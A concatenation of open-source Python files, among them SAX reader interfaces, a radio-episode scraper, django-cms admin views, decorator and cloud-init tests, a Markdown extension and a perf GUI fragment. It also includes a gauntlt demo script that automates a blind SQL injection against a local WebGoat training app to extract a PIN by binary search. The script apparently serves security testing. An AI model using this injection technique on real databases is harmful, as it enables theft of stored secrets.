the data, emitting the corresponding events. It is allowed for XML constructs to be split across several calls to feed. feed may raise SAXException.""" raise NotImplementedError("This method must be implemented!") def prepareParser(self, source): """This method is called by the parse implementation to allow the SAX 2.0 driver to prepare itself for parsing.""" raise NotImplementedError("prepareParser must be overridden!") def close(self): """This method is called when the entire XML document has been passed to the parser through the feed method, to notify the parser that there are no more data. This allows the parser to do the final checks on the document and empty the internal data buffer. The parser will not be ready to parse another document until the reset method has been called. close may raise SAXException.""" raise NotImplementedError("This method must be implemented!") def reset(self): """This method is called after close has been called to reset the parser so that it is ready to parse new documents. The results of calling parse or feed after close without calling reset are undefined.""" raise NotImplementedError("This method must be implemented!") # ===== LOCATOR ===== class Locator: """Interface for associating a SAX event with a document location. A locator object will return valid results only during calls to DocumentHandler methods; at any other time, the results are unpredictable.""" def getColumnNumber(self): "Return the column number where the current event ends." return -1 def getLineNumber(self): "Return the line number where the current event ends." return -1 def getPublicId(self): "Return the public identifier for the current event." return None def getSystemId(self): "Return the system identifier for the current event." return None # ===== INPUTSOURCE ===== class InputSource: """Encapsulation of the information needed by the XMLReader to read entities. This class may include information about the public identifier, system identifier, byte stream (possibly with character encoding information) and/or the character stream of an entity. Applications will create objects of this class for use in the XMLReader.parse method and for returning from EntityResolver.resolveEntity. An InputSource belongs to the application, the XMLReader is not allowed to modify InputSource objects passed to it from the application, although it may make copies and modify those.""" def __init__(self, system_id = None): self.__system_id = system_id self.__public_id = None self.__encoding = None self.__bytefile = None self.__charfile = None def setPublicId(self, public_id): "Sets the public identifier of this InputSource." self.__public_id = public_id def getPublicId(self): "Returns the public identifier of this InputSource." return self.__public_id def setSystemId(self, system_id): "Sets the system identifier of this InputSource." self.__system_id = system_id def getSystemId(self): "Returns the system identifier of this InputSource." return self.__system_id def setEncoding(self, encoding): """Sets the character encoding of this InputSource. The encoding must be a string acceptable for an XML encoding declaration (see section 4.3.3 of the XML recommendation). The encoding attribute of the InputSource is ignored if the InputSource also contains a character stream.""" self.__encoding = encoding def getEncoding(self): "Get the character encoding of this InputSource." return self.__encoding def setByteStream(self, bytefile): """Set the byte stream (a Python file-like object which does not perform byte-to-character conversion) for this input source. The SAX parser will ignore this if there is also a character stream specified, but it will use a byte stream in preference to opening a URI connection itself. If the application knows the character encoding of the byte stream, it should set it with the setEncoding method.""" self.__bytefile = bytefile def getByteStream(self): """Get the byte stream for this input source. The getEncoding method will return the character encoding for this byte stream, or None if unknown.""" return self.__bytefile def setCharacterStream(self, charfile): """Set the character stream for this input source. (The stream must be a Python 2.0 Unicode-wrapped file-like that performs conversion to Unicode strings.) If there is a character stream specified, the SAX parser will ignore any byte stream and will not attempt to open a URI connection to the system identifier.""" self.__charfile = charfile def getCharacterStream(self): "Get the character stream for this input source." return self.__charfile # ===== ATTRIBUTESIMPL ===== class AttributesImpl: def __init__(self, attrs): """Non-NS-aware implementation. attrs should be of the form {name : value}.""" self._attrs = attrs def getLength(self): return len(self._attrs) def getType(self, name): return "CDATA" def getValue(self, name): return self._attrs[name] def getValueByQName(self, name): return self._attrs[name] def getNameByQName(self, name): if name not in self._attrs: raise KeyError(name) return name def getQNameByName(self, name): if name not in self._attrs: raise KeyError(name) return name def getNames(self): return list(self._attrs.keys()) def getQNames(self): return list(self._attrs.keys()) def __len__(self): return len(self._attrs) def __getitem__(self, name): return self._attrs[name] def keys(self): return list(self._attrs.keys()) def __contains__(self, name): return name in self._attrs def get(self, name, alternative=None): return self._attrs.get(name, alternative) def copy(self): return self.__class__(self._attrs) def items(self): return list(self._attrs.items()) def values(self): return list(self._attrs.values()) # ===== ATTRIBUTESNSIMPL ===== class AttributesNSImpl(AttributesImpl): def __init__(self, attrs, qnames): """NS-aware implementation. attrs should be of the form {(ns_uri, lname): value, ...}. qnames of the form {(ns_uri, lname): qname, ...}.""" self._attrs = attrs self._qnames = qnames def getValueByQName(self, name): for (nsname, qname) in self._qnames.items(): if qname == name: return self._attrs[nsname] raise KeyError(name) def getNameByQName(self, name): for (nsname, qname) in self._qnames.items(): if qname == name: return nsname raise KeyError(name) def getQNameByName(self, name): return self._qnames[name] def getQNames(self): return list(self._qnames.values()) def copy(self): return self.__class__(self._attrs, self._qnames) def _test(): XMLReader() IncrementalParser() Locator() if __name__ == "__main__": _test()
agpl-3.0
gauntlt/gauntlt-demo
examples/webgoat/vuln-21/attack.py
2
2759
import requests as req ### Request Login Page ### ### Log into WebGoat ### url_base = 'http://127.0.0.1:8080/WebGoat/' login_url = url_base + 'j_spring_security_check' home_url = url_base + 'welcome.mvc' menu_url = url_base + 'lessonmenu.mvc' # login_url = 'http://127.0.0.1:8080/WebGoat/j_spring_security_check' s = req.session() login_data = dict(username='guest', password='guest') r = s.post(login_url, login_data) r2 = s.get(menu_url) #need to call /dev/null r3 = s.get(menu_url) ### Figure out which menu item is "Http Basics" ### # get /service/lessonmenu.mvc menu = s.get('http://127.0.0.1:8080/WebGoat/service/lessonmenu.mvc') BlindScreenNumber = menu.text.find("Blind") ### 10434 #parse through JSON to find our VULN ScreenNumber = (menu.text[97+BlindScreenNumber:101+BlindScreenNumber]) vulnPage =('http://127.0.0.1:8080/WebGoat/attack?Screen='+ScreenNumber+'&menu=1100') vulnMenu = s.get(vulnPage) #### input = 1000; f_input = input; syntax = "101 AND ((SELECT pin FROM pins WHERE cc_number = 1111222233334444)" than = "<" f_input = str(f_input) attack_input = syntax + than + f_input + ")"; text = dict(account_number=attack_input) vulnPost = s.post(vulnPage, text) #ignore = raw_input('click to proceed') result = vulnPost.text.find("Invalid") lower_bound = 0; upper_bound = 0; while upper_bound <= 0: f_input = str(f_input) attack_input = syntax + than + f_input + ")"; text = dict(account_number = attack_input); vulnPost = s.post(vulnPage, text); result = vulnPost.text.find("Invalid"); if(result == -1): upper_bound = int(f_input) else: lower_bound = int(f_input) f_input = int(f_input) * 10 success = 0 while(success == 0): mid = ((upper_bound + lower_bound) / 2) mid = str(mid) than = "<" attack_input = syntax + than + mid + ")"; text = dict(account_number = attack_input); vulnPost = s.post(vulnPage, text); result = vulnPost.text.find("Invalid") than = ">" attack_input = syntax + than + mid + ")" text = dict(account_number = attack_input); vulnPost = s.post(vulnPage, text) result2 = vulnPost.text.find("Invalid") mid = int(mid) result_error = vulnPost.text.find("error") if(result_error != -1): print "vuln-21 is NOT present" success = 1 exit(0) elif(result == -1): upper_bound = mid elif(result2 == -1): lower_bound = mid else: success = 1 text = dict(account_number = mid) vulnPost = s.post(vulnPage, text) result = vulnPost.text.find("Congratulations") if(result != -1): print "vuln-21 is present. Attack Successful"; exit(1) else: #print out green when fixed print "vuln-21 is NOT present"; exit(0)
mit
kapily/dropcast
tal_scraper.py
1
4679
import urllib2 from bs4 import BeautifulSoup import json episode_page = 'https://www.thisamericanlife.org/radio-archives/episode/%i' DOWNLOAD_URL = 'http://audio.thisamericanlife.org/jomamashouse/ismymamashouse/%i.mp3' import re def get_episode_info(episode_id): req = urllib2.Request(episode_page % episode_id, headers={'User-Agent' : "Magic Browser"}) con = urllib2.urlopen( req ) page = con.read() soup = BeautifulSoup(page, 'html.parser') episode_info = {'acts': []} raw_title = soup.find('h1', {'class': 'node-title'}).text.strip() match = re.search('(?P<number>\d+): (?P<title>.*)', raw_title) episode_info['number'] = int(match.group('number')) episode_info['title'] = match.group('title') episode_info['date'] = soup.find('div', {'id': 'content'}).find('div', {'class': 'date'}).text.strip() episode_info['subtitle'] = soup.find('div', {'class': 'description'}).text.strip() episode_info['media_url'] = DOWNLOAD_URL % episode_id # CURRENTLY NOT USED... # Download the file to get the media url? # episode_info['minutes'] = DOWNLOAD_URL % episode_id # print soup.find('div', {'class': 'top'}).find('div', {'class': 'image'}) if episode_id in frozenset([599, 600, 601]): # special case for weird one episode_info['image_square'] = '//files.thisamericanlife.org/vote/img/this-american-vote-01.gif' else: episode_info['image_square'] = soup.find('div', {'class': 'top'}).find('div', {'class': 'image'}).find('img')['src'] assert episode_info['image_square'][:2] == '//' episode_info['image_square'] = episode_info['image_square'][2:] act_block = soup.find('ul', {'id': 'episode-acts'}) # Examples: 66, 628 whole_episode_header = soup.find('div', {'id': 'content'}).find('div', {'class': 'content'}).find('div', {'class': 'radio-header'}) if whole_episode_header: act_info = { 'header': 'Info', 'body': str(whole_episode_header) # whole_episode_header.text.strip() } episode_info['acts'].append(act_info) if episode_id in frozenset([66]): acts = [] else: acts = act_block.find_all('li', recursive=False) for act in acts: act_info = {} act_head = act.find('div', {'class': 'act-head'}) if act_head.find('h3'): act_info['header'] = act_head.find('h3').find('a').text.strip() else: act_info['header'] = 'Act ?' if act_head.find('h4'): act_info['subtext'] = act_head.find('h4').text.strip() # tags tags_block = act.find('span', {'class': 'tags'}) if tags_block: act_info['tags'] = [x.text.strip() for x in tags_block.find_all('a')] # Get rid of tags before reading body tags_block.decompose() # Contributors contributors_block = act.find('ul', {'class': 'act-contributors'}) if contributors_block: act_info['contributors'] = [x.text.strip() for x in act.find('ul', {'class': 'act-contributors'}).find_all('a')] # Get rid of tags before reading body contributors_block.decompose() # Songs songs_block = act.find('div', {'class': 'song'}) if songs_block: act_info['songs'] = [x.text.strip() for x in songs_block.find('ul').find_all('li', recursive=False)] songs_block.decompose() # Read body last after decomposing other stuff # Minutes act_body_div = act.find('div', {'class': 'act-body'}) minutes_regex = r' \((?P<minutes>\d+) minutes\)' act_body_html = unicode(act_body_div) match = re.search(minutes_regex, act_body_html) if match: # print "found match!" act_info['minutes'] = int(match.group('minutes')) act_info['body'] = re.sub(minutes_regex, '', act_body_html) # act_body_div.text.strip() episode_info['acts'].append(act_info) return episode_info def podcast_description(d): l = [] l.append(u'%s' % d['subtitle']) l.append(u'') l.append(u'') for act in d['acts']: l.append(u'<b>%s: %s</b>' % (act['header'], act.get('subtext', ''))) if 'minutes' in act: l.append(u'<i>%i minutes</i>' % act['minutes']) # print act['body'] l.append(act['body']) #if 'contributors' in act: # l[-1] += '-- %s' % (', '.join(act['contributors'])) if 'songs' in act: l.append('Songs: %s' % (', '.join(act['songs']))) l.append(u'') return u'<br>'.join(l) def pretty_str(d): return json.dumps(d, indent=4, sort_keys=True)
mit
josjevv/django-cms
cms/admin/views.py
47
2385
# -*- coding: utf-8 -*- from django.http import Http404 from django.shortcuts import get_object_or_404 from cms.models import Page, Title, CMSPlugin, Placeholder def revert_plugins(request, version_id, obj): from reversion.models import Version version = get_object_or_404(Version, pk=version_id) revs = [related_version.object_version for related_version in version.revision.version_set.all()] cms_plugin_list = [] placeholders = {} plugin_list = [] titles = [] others = [] page = obj for rev in revs: obj = rev.object if obj.__class__ == Placeholder: placeholders[obj.pk] = obj if obj.__class__ == CMSPlugin: cms_plugin_list.append(obj) elif hasattr(obj, 'cmsplugin_ptr_id'): plugin_list.append(obj) elif obj.__class__ == Page: pass #page = obj #Page.objects.get(pk=obj.pk) elif obj.__class__ == Title: titles.append(obj) else: others.append(rev) if not page.has_change_permission(request): raise Http404 current_plugins = list(CMSPlugin.objects.filter(placeholder__page=page)) for pk, placeholder in placeholders.items(): # admin has already created the placeholders/ get them instead try: placeholders[pk] = page.placeholders.get(slot=placeholder.slot) except Placeholder.DoesNotExist: placeholders[pk].save() page.placeholders.add(placeholders[pk]) for plugin in cms_plugin_list: # connect plugins to the correct placeholder plugin.placeholder = placeholders[plugin.placeholder_id] plugin.save(no_signals=True) for plugin in cms_plugin_list: plugin.save() for p in plugin_list: if int(p.cmsplugin_ptr_id) == int(plugin.pk): plugin.set_base_attr(p) p.save() for old in current_plugins: if old.pk == plugin.pk: plugin.save() current_plugins.remove(old) for title in titles: title.page = page try: title.save() except: title.pk = Title.objects.get(page=page, language=title.language).pk title.save() for other in others: other.object.save() for plugin in current_plugins: plugin.delete()
bsd-3-clause
slozier/ironpython2
Src/StdLib/Lib/test/test_decorators.py
194
9849
import unittest from test import test_support def funcattrs(**kwds): def decorate(func): func.__dict__.update(kwds) return func return decorate class MiscDecorators (object): @staticmethod def author(name): def decorate(func): func.__dict__['author'] = name return func return decorate # ----------------------------------------------- class DbcheckError (Exception): def __init__(self, exprstr, func, args, kwds): # A real version of this would set attributes here Exception.__init__(self, "dbcheck %r failed (func=%s args=%s kwds=%s)" % (exprstr, func, args, kwds)) def dbcheck(exprstr, globals=None, locals=None): "Decorator to implement debugging assertions" def decorate(func): expr = compile(exprstr, "dbcheck-%s" % func.func_name, "eval") def check(*args, **kwds): if not eval(expr, globals, locals): raise DbcheckError(exprstr, func, args, kwds) return func(*args, **kwds) return check return decorate # ----------------------------------------------- def countcalls(counts): "Decorator to count calls to a function" def decorate(func): func_name = func.func_name counts[func_name] = 0 def call(*args, **kwds): counts[func_name] += 1 return func(*args, **kwds) call.func_name = func_name return call return decorate # ----------------------------------------------- def memoize(func): saved = {} def call(*args): try: return saved[args] except KeyError: res = func(*args) saved[args] = res return res except TypeError: # Unhashable argument return func(*args) call.func_name = func.func_name return call # ----------------------------------------------- class TestDecorators(unittest.TestCase): def test_single(self): class C(object): @staticmethod def foo(): return 42 self.assertEqual(C.foo(), 42) self.assertEqual(C().foo(), 42) def test_staticmethod_function(self): @staticmethod def notamethod(x): return x self.assertRaises(TypeError, notamethod, 1) def test_dotted(self): decorators = MiscDecorators() @decorators.author('Cleese') def foo(): return 42 self.assertEqual(foo(), 42) self.assertEqual(foo.author, 'Cleese') def test_argforms(self): # A few tests of argument passing, as we use restricted form # of expressions for decorators. def noteargs(*args, **kwds): def decorate(func): setattr(func, 'dbval', (args, kwds)) return func return decorate args = ( 'Now', 'is', 'the', 'time' ) kwds = dict(one=1, two=2) @noteargs(*args, **kwds) def f1(): return 42 self.assertEqual(f1(), 42) self.assertEqual(f1.dbval, (args, kwds)) @noteargs('terry', 'gilliam', eric='idle', john='cleese') def f2(): return 84 self.assertEqual(f2(), 84) self.assertEqual(f2.dbval, (('terry', 'gilliam'), dict(eric='idle', john='cleese'))) @noteargs(1, 2,) def f3(): pass self.assertEqual(f3.dbval, ((1, 2), {})) def test_dbcheck(self): @dbcheck('args[1] is not None') def f(a, b): return a + b self.assertEqual(f(1, 2), 3) self.assertRaises(DbcheckError, f, 1, None) def test_memoize(self): counts = {} @memoize @countcalls(counts) def double(x): return x * 2 self.assertEqual(double.func_name, 'double') self.assertEqual(counts, dict(double=0)) # Only the first call with a given argument bumps the call count: # self.assertEqual(double(2), 4) self.assertEqual(counts['double'], 1) self.assertEqual(double(2), 4) self.assertEqual(counts['double'], 1) self.assertEqual(double(3), 6) self.assertEqual(counts['double'], 2) # Unhashable arguments do not get memoized: # self.assertEqual(double([10]), [10, 10]) self.assertEqual(counts['double'], 3) self.assertEqual(double([10]), [10, 10]) self.assertEqual(counts['double'], 4) def test_errors(self): # Test syntax restrictions - these are all compile-time errors: # for expr in [ "1+2", "x[3]", "(1, 2)" ]: # Sanity check: is expr is a valid expression by itself? compile(expr, "testexpr", "exec") codestr = "@%s\ndef f(): pass" % expr self.assertRaises(SyntaxError, compile, codestr, "test", "exec") # You can't put multiple decorators on a single line: # self.assertRaises(SyntaxError, compile, "@f1 @f2\ndef f(): pass", "test", "exec") # Test runtime errors def unimp(func): raise NotImplementedError context = dict(nullval=None, unimp=unimp) for expr, exc in [ ("undef", NameError), ("nullval", TypeError), ("nullval.attr", AttributeError), ("unimp", NotImplementedError)]: codestr = "@%s\ndef f(): pass\nassert f() is None" % expr code = compile(codestr, "test", "exec") self.assertRaises(exc, eval, code, context) def test_double(self): class C(object): @funcattrs(abc=1, xyz="haha") @funcattrs(booh=42) def foo(self): return 42 self.assertEqual(C().foo(), 42) self.assertEqual(C.foo.abc, 1) self.assertEqual(C.foo.xyz, "haha") self.assertEqual(C.foo.booh, 42) def test_order(self): # Test that decorators are applied in the proper order to the function # they are decorating. def callnum(num): """Decorator factory that returns a decorator that replaces the passed-in function with one that returns the value of 'num'""" def deco(func): return lambda: num return deco @callnum(2) @callnum(1) def foo(): return 42 self.assertEqual(foo(), 2, "Application order of decorators is incorrect") def test_eval_order(self): # Evaluating a decorated function involves four steps for each # decorator-maker (the function that returns a decorator): # # 1: Evaluate the decorator-maker name # 2: Evaluate the decorator-maker arguments (if any) # 3: Call the decorator-maker to make a decorator # 4: Call the decorator # # When there are multiple decorators, these steps should be # performed in the above order for each decorator, but we should # iterate through the decorators in the reverse of the order they # appear in the source. actions = [] def make_decorator(tag): actions.append('makedec' + tag) def decorate(func): actions.append('calldec' + tag) return func return decorate class NameLookupTracer (object): def __init__(self, index): self.index = index def __getattr__(self, fname): if fname == 'make_decorator': opname, res = ('evalname', make_decorator) elif fname == 'arg': opname, res = ('evalargs', str(self.index)) else: assert False, "Unknown attrname %s" % fname actions.append('%s%d' % (opname, self.index)) return res c1, c2, c3 = map(NameLookupTracer, [ 1, 2, 3 ]) expected_actions = [ 'evalname1', 'evalargs1', 'makedec1', 'evalname2', 'evalargs2', 'makedec2', 'evalname3', 'evalargs3', 'makedec3', 'calldec3', 'calldec2', 'calldec1' ] actions = [] @c1.make_decorator(c1.arg) @c2.make_decorator(c2.arg) @c3.make_decorator(c3.arg) def foo(): return 42 self.assertEqual(foo(), 42) self.assertEqual(actions, expected_actions) # Test the equivalence claim in chapter 7 of the reference manual. # actions = [] def bar(): return 42 bar = c1.make_decorator(c1.arg)(c2.make_decorator(c2.arg)(c3.make_decorator(c3.arg)(bar))) self.assertEqual(bar(), 42) self.assertEqual(actions, expected_actions) class TestClassDecorators(unittest.TestCase): def test_simple(self): def plain(x): x.extra = 'Hello' return x @plain class C(object): pass self.assertEqual(C.extra, 'Hello') def test_double(self): def ten(x): x.extra = 10 return x def add_five(x): x.extra += 5 return x @add_five @ten class C(object): pass self.assertEqual(C.extra, 15) def test_order(self): def applied_first(x): x.extra = 'first' return x def applied_second(x): x.extra = 'second' return x @applied_second @applied_first class C(object): pass self.assertEqual(C.extra, 'second') def test_main(): test_support.run_unittest(TestDecorators) test_support.run_unittest(TestClassDecorators) if __name__=="__main__": test_main()
apache-2.0
camptocamp/odoo
addons/hr_timesheet_invoice/wizard/__init__.py
433
1159
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import hr_timesheet_invoice_create import hr_timesheet_analytic_profit import hr_timesheet_final_invoice_create # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
prometheanfire/cloud-init
tests/unittests/test_handler/test_handler_ntp.py
3
9579
from cloudinit.config import cc_ntp from cloudinit.sources import DataSourceNone from cloudinit import templater from cloudinit import (distros, helpers, cloud, util) from ..helpers import FilesystemMockingTestCase, mock import logging import os import shutil import tempfile LOG = logging.getLogger(__name__) NTP_TEMPLATE = """ ## template: jinja {% if pools %}# pools {% endif %} {% for pool in pools -%} pool {{pool}} iburst {% endfor %} {%- if servers %}# servers {% endif %} {% for server in servers -%} server {{server}} iburst {% endfor %} """ NTP_EXPECTED_UBUNTU = """ # pools pool 0.mycompany.pool.ntp.org iburst # servers server 192.168.23.3 iburst """ class TestNtp(FilesystemMockingTestCase): def setUp(self): super(TestNtp, self).setUp() self.subp = util.subp self.new_root = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, self.new_root) def _get_cloud(self, distro, metadata=None): self.patchUtils(self.new_root) paths = helpers.Paths({}) cls = distros.fetch(distro) mydist = cls(distro, {}, paths) myds = DataSourceNone.DataSourceNone({}, mydist, paths) if metadata: myds.metadata.update(metadata) return cloud.Cloud(myds, paths, {}, mydist, None) @mock.patch("cloudinit.config.cc_ntp.util") def test_ntp_install(self, mock_util): cc = self._get_cloud('ubuntu') cc.distro = mock.MagicMock() cc.distro.name = 'ubuntu' mock_util.which.return_value = None install_func = mock.MagicMock() cc_ntp.install_ntp(install_func, packages=['ntpx'], check_exe='ntpdx') self.assertTrue(install_func.called) mock_util.which.assert_called_with('ntpdx') install_pkg = install_func.call_args_list[0][0][0] self.assertEqual(sorted(install_pkg), ['ntpx']) @mock.patch("cloudinit.config.cc_ntp.util") def test_ntp_install_not_needed(self, mock_util): cc = self._get_cloud('ubuntu') cc.distro = mock.MagicMock() cc.distro.name = 'ubuntu' mock_util.which.return_value = ["/usr/sbin/ntpd"] cc_ntp.install_ntp(cc) self.assertFalse(cc.distro.install_packages.called) def test_ntp_rename_ntp_conf(self): with mock.patch.object(os.path, 'exists', return_value=True) as mockpath: with mock.patch.object(util, 'rename') as mockrename: cc_ntp.rename_ntp_conf() mockpath.assert_called_with('/etc/ntp.conf') mockrename.assert_called_with('/etc/ntp.conf', '/etc/ntp.conf.dist') def test_ntp_rename_ntp_conf_skip_missing(self): with mock.patch.object(os.path, 'exists', return_value=False) as mockpath: with mock.patch.object(util, 'rename') as mockrename: cc_ntp.rename_ntp_conf() mockpath.assert_called_with('/etc/ntp.conf') mockrename.assert_not_called() def ntp_conf_render(self, distro): """ntp_conf_render Test rendering of a ntp.conf from template for a given distro """ cfg = {'ntp': {}} mycloud = self._get_cloud(distro) distro_names = cc_ntp.generate_server_names(distro) with mock.patch.object(templater, 'render_to_file') as mocktmpl: with mock.patch.object(os.path, 'isfile', return_value=True): with mock.patch.object(util, 'rename'): cc_ntp.write_ntp_config_template(cfg, mycloud) mocktmpl.assert_called_once_with( ('/etc/cloud/templates/ntp.conf.%s.tmpl' % distro), '/etc/ntp.conf', {'servers': [], 'pools': distro_names}) def test_ntp_conf_render_rhel(self): """Test templater.render_to_file() for rhel""" self.ntp_conf_render('rhel') def test_ntp_conf_render_debian(self): """Test templater.render_to_file() for debian""" self.ntp_conf_render('debian') def test_ntp_conf_render_fedora(self): """Test templater.render_to_file() for fedora""" self.ntp_conf_render('fedora') def test_ntp_conf_render_sles(self): """Test templater.render_to_file() for sles""" self.ntp_conf_render('sles') def test_ntp_conf_render_ubuntu(self): """Test templater.render_to_file() for ubuntu""" self.ntp_conf_render('ubuntu') def test_ntp_conf_servers_no_pools(self): distro = 'ubuntu' pools = [] servers = ['192.168.2.1'] cfg = { 'ntp': { 'pools': pools, 'servers': servers, } } mycloud = self._get_cloud(distro) with mock.patch.object(templater, 'render_to_file') as mocktmpl: with mock.patch.object(os.path, 'isfile', return_value=True): with mock.patch.object(util, 'rename'): cc_ntp.write_ntp_config_template(cfg.get('ntp'), mycloud) mocktmpl.assert_called_once_with( ('/etc/cloud/templates/ntp.conf.%s.tmpl' % distro), '/etc/ntp.conf', {'servers': servers, 'pools': pools}) def test_ntp_conf_custom_pools_no_server(self): distro = 'ubuntu' pools = ['0.mycompany.pool.ntp.org'] servers = [] cfg = { 'ntp': { 'pools': pools, 'servers': servers, } } mycloud = self._get_cloud(distro) with mock.patch.object(templater, 'render_to_file') as mocktmpl: with mock.patch.object(os.path, 'isfile', return_value=True): with mock.patch.object(util, 'rename'): cc_ntp.write_ntp_config_template(cfg.get('ntp'), mycloud) mocktmpl.assert_called_once_with( ('/etc/cloud/templates/ntp.conf.%s.tmpl' % distro), '/etc/ntp.conf', {'servers': servers, 'pools': pools}) def test_ntp_conf_custom_pools_and_server(self): distro = 'ubuntu' pools = ['0.mycompany.pool.ntp.org'] servers = ['192.168.23.3'] cfg = { 'ntp': { 'pools': pools, 'servers': servers, } } mycloud = self._get_cloud(distro) with mock.patch.object(templater, 'render_to_file') as mocktmpl: with mock.patch.object(os.path, 'isfile', return_value=True): with mock.patch.object(util, 'rename'): cc_ntp.write_ntp_config_template(cfg.get('ntp'), mycloud) mocktmpl.assert_called_once_with( ('/etc/cloud/templates/ntp.conf.%s.tmpl' % distro), '/etc/ntp.conf', {'servers': servers, 'pools': pools}) def test_ntp_conf_contents_match(self): """Test rendered contents of /etc/ntp.conf for ubuntu""" pools = ['0.mycompany.pool.ntp.org'] servers = ['192.168.23.3'] cfg = { 'ntp': { 'pools': pools, 'servers': servers, } } mycloud = self._get_cloud('ubuntu') side_effect = [NTP_TEMPLATE.lstrip()] # work backwards from util.write_file and mock out call path # write_ntp_config_template() # cloud.get_template_filename() # os.path.isfile() # templater.render_to_file() # templater.render_from_file() # util.load_file() # util.write_file() # with mock.patch.object(util, 'write_file') as mockwrite: with mock.patch.object(util, 'load_file', side_effect=side_effect): with mock.patch.object(os.path, 'isfile', return_value=True): with mock.patch.object(util, 'rename'): cc_ntp.write_ntp_config_template(cfg.get('ntp'), mycloud) mockwrite.assert_called_once_with( '/etc/ntp.conf', NTP_EXPECTED_UBUNTU, mode=420) def test_ntp_handler(self): """Test ntp handler renders ubuntu ntp.conf template""" pools = ['0.mycompany.pool.ntp.org'] servers = ['192.168.23.3'] cfg = { 'ntp': { 'pools': pools, 'servers': servers, } } mycloud = self._get_cloud('ubuntu') side_effect = [NTP_TEMPLATE.lstrip()] with mock.patch.object(util, 'which', return_value=None): with mock.patch.object(os.path, 'exists'): with mock.patch.object(util, 'write_file') as mockwrite: with mock.patch.object(util, 'load_file', side_effect=side_effect): with mock.patch.object(os.path, 'isfile', return_value=True): with mock.patch.object(util, 'rename'): cc_ntp.handle("notimportant", cfg, mycloud, LOG, None) mockwrite.assert_called_once_with( '/etc/ntp.conf', NTP_EXPECTED_UBUNTU, mode=420) @mock.patch("cloudinit.config.cc_ntp.util") def test_no_ntpcfg_does_nothing(self, mock_util): cc = self._get_cloud('ubuntu') cc.distro = mock.MagicMock() cc_ntp.handle('cc_ntp', {}, cc, LOG, []) self.assertFalse(cc.distro.install_packages.called) self.assertFalse(mock_util.subp.called)
gpl-3.0
ds-hwang/chromium-crosswalk
third_party/markdown/extensions/sane_lists.py
109
3084
# markdown is released under the BSD license # Copyright 2007, 2008 The Python Markdown Project (v. 1.7 and later) # Copyright 2004, 2005, 2006 Yuri Takhteyev (v. 0.2-1.6b) # Copyright 2004 Manfred Stienstra (the original version) # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the <organization> nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE PYTHON MARKDOWN PROJECT ''AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL ANY CONTRIBUTORS TO THE PYTHON MARKDOWN PROJECT # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Sane List Extension for Python-Markdown ======================================= Modify the behavior of Lists in Python-Markdown t act in a sane manor. In standard Markdown sytex, the following would constitute a single ordered list. However, with this extension, the output would include two lists, the first an ordered list and the second and unordered list. 1. ordered 2. list * unordered * list Copyright 2011 - [Waylan Limberg](http://achinghead.com) """ from __future__ import absolute_import from __future__ import unicode_literals from . import Extension from ..blockprocessors import OListProcessor, UListProcessor import re class SaneOListProcessor(OListProcessor): CHILD_RE = re.compile(r'^[ ]{0,3}((\d+\.))[ ]+(.*)') SIBLING_TAGS = ['ol'] class SaneUListProcessor(UListProcessor): CHILD_RE = re.compile(r'^[ ]{0,3}(([*+-]))[ ]+(.*)') SIBLING_TAGS = ['ul'] class SaneListExtension(Extension): """ Add sane lists to Markdown. """ def extendMarkdown(self, md, md_globals): """ Override existing Processors. """ md.parser.blockprocessors['olist'] = SaneOListProcessor(md.parser) md.parser.blockprocessors['ulist'] = SaneUListProcessor(md.parser) def makeExtension(configs={}): return SaneListExtension(configs=configs)
bsd-3-clause
prpplague/DSI85-Development
tools/perf/scripts/python/Perf-Trace-Util/lib/Perf/Trace/SchedGui.py
12980
5411
# SchedGui.py - Python extension for perf script, basic GUI code for # traces drawing and overview. # # Copyright (C) 2010 by Frederic Weisbecker <[email protected]> # # This software is distributed under the terms of the GNU General # Public License ("GPL") version 2 as published by the Free Software # Foundation. try: import wx except ImportError: raise ImportError, "You need to install the wxpython lib for this script" class RootFrame(wx.Frame): Y_OFFSET = 100 RECT_HEIGHT = 100 RECT_SPACE = 50 EVENT_MARKING_WIDTH = 5 def __init__(self, sched_tracer, title, parent = None, id = -1): wx.Frame.__init__(self, parent, id, title) (self.screen_width, self.screen_height) = wx.GetDisplaySize() self.screen_width -= 10 self.screen_height -= 10 self.zoom = 0.5 self.scroll_scale = 20 self.sched_tracer = sched_tracer self.sched_tracer.set_root_win(self) (self.ts_start, self.ts_end) = sched_tracer.interval() self.update_width_virtual() self.nr_rects = sched_tracer.nr_rectangles() + 1 self.height_virtual = RootFrame.Y_OFFSET + (self.nr_rects * (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE)) # whole window panel self.panel = wx.Panel(self, size=(self.screen_width, 